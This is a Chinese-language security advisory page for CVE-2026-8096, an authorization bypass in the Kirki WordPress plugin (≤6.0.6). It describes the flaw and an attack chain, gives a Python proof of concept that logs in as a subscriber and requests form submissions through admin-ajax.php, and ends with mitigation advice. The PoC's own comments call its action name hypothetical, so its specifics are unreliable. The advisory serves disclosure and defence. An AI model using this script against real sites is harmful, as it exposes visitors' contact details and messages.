IPBUF安全漏洞报告
English
CVE-2026-8096 CVSS 6.5 中危

CVE-2026-8096 WordPress Kirki插件权限绕过漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-8096
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kirki WordPress Plugin

相关标签

权限绕过WordPressKirki信息泄露CVE-2026-8096

漏洞概述

WordPress的Kirki插件在所有版本(包括6.0.6)中存在授权绕过漏洞。该漏洞源于插件未正确验证用户执行操作的权限。这允许拥有订阅者及以上权限的经过身份验证的攻击者,绕过访问控制,查看所有Kirki前端表单,并读取存储的访客表单提交数据,包括联系方式、消息及其他敏感信息。

技术细节

该漏洞的核心在于Kirki插件在处理前端表单数据读取请求时,未能实施严格的访问控制策略。在WordPress生态中,插件通常通过AJAX机制与前端交互,而Kirki插件的相关处理函数(位于`includes/Ajax.php`等文件中)仅检查了用户是否登录,却未核对用户角色或具体权限(如`edit_pages`或`manage_options`)。攻击者利用这一逻辑缺陷,仅需拥有最低权限的“订阅者”账户,即可直接调用插件内部API。由于CVSS向量显示攻击无需复杂配置且可网络利用,攻击者能轻易遍历并获取所有通过Kirki前端表单提交的访客数据,导致严重的机密性破坏。

攻击链分析

STEP 1
1. 侦察
攻击者识别目标网站安装了存在漏洞的Kirki插件版本(<= 6.0.6)。
STEP 2
2. 获取凭证
攻击者注册一个新的低权限账户(如订阅者)或利用已有的低权限账户凭证。
STEP 3
3. 发起攻击
攻击者使用该账户登录WordPress后台,并向`wp-admin/admin-ajax.php`发送特定的AJAX请求,试图访问表单数据接口。
STEP 4
4. 数据窃取
由于插件缺乏权限验证,服务器返回所有前端表单提交的数据,攻击者成功获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Kirki WordPress Plugin < 6.0.7 - Authenticated (Subscriber+) Sensitive Data Disclosure # Date: 2026-05-19 # Exploit Author: Analyst # Vendor Homepage: https://kirki.org/ # Software Link: https://wordpress.org/plugins/kirki/ # Version: <= 6.0.6 # CVE: CVE-2026-8096 def exploit(target_url, username, password): session = requests.Session() # Step 1: Login as a low-privileged user (e.g., Subscriber) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Send AJAX request to exploit the authorization bypass # Note: The specific 'action' parameter needs to be verified against the plugin source code # This is a representative PoC based on the vulnerability description. ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { 'action': 'kirki_list_forms', # Hypothetical action based on functionality 'security': '' # Might be required depending on nonce implementation, often bypassed in these bugs } response = session.post(ajax_url, data=payload) if response.status_code == 200: print("[+] Exploit successful! Data retrieved:") print(response.text) else: print("[-] Exploit failed.") if __name__ == "__main__": # Usage: python poc.py http://target.com subscriber password import sys if len(sys.argv) == 4: exploit(sys.argv[1], sys.argv[2], sys.argv[3]) else: print("Usage: python poc.py <target_url> <username> <password>")

影响范围

Kirki <= 6.0.6

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用Kirki插件功能以阻断数据泄露路径。同时,通过Web应用防火墙(WAF)添加规则,限制对插件特定AJAX端点的访问,仅允许管理员IP访问。此外,应加强用户注册审核机制,防止攻击者轻易获取低权限账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表